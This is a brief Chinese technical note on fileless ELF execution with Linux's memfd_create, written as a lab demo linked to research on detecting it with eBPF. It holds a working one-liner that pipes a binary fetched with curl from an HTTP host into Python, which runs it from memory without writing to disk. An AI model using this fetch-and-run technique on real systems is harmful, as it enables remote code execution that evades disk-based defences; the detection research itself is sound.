作者: Pat H
创建: 2021-02-15
参看
Using eBPF to uncover in-memory loading - Pat H [2021-02-15]
https://blog.tofile.dev/2021/02/15/ebpf-01.html
作者给了一个完整示例,从内存中直接加载执行ELF。bluerust推荐过memfd_create,但我现在很少用C编程,未实践过。Pat H给了Python版示例,演示效果极佳。
假设WEB服务在此
cp /usr/bin/id .
python3 -m http.server -b 192.168.65.25 8080
在客户端验证WEB服务正常
curl -s http://192.168.65.25:8080/id | xxd -s 0 -l 32 -g 1
在客户端确认memfd_create系统调用号是319
$ grep "__NR_memfd_create" /usr/include/asm/unistd_64.h
#define __NR_memfd_create 319
在客户端用curl远程拉id回来,不写硬盘,直接执行
curl -s http://192.168.65.25:8080/id | python3 -c '
import sys, os, ctypes
libc = ctypes.CDLL( "libc.so.6" )
memfd_create = 319
fd = libc.syscall( memfd_create, "", 0 )
data = sys.stdin.buffer.read()
os.write( fd, data )
path = f"/proc/self/fd/{fd}"
os.execv( path, [path,] )
'
参看
BPF-PipeSnoop
https://github.com/pathtofile/bpf-pipesnoop
Pat H用eBPF实现对shell管道操作的监控,这是个C项目,应该可以改写成BCC项目。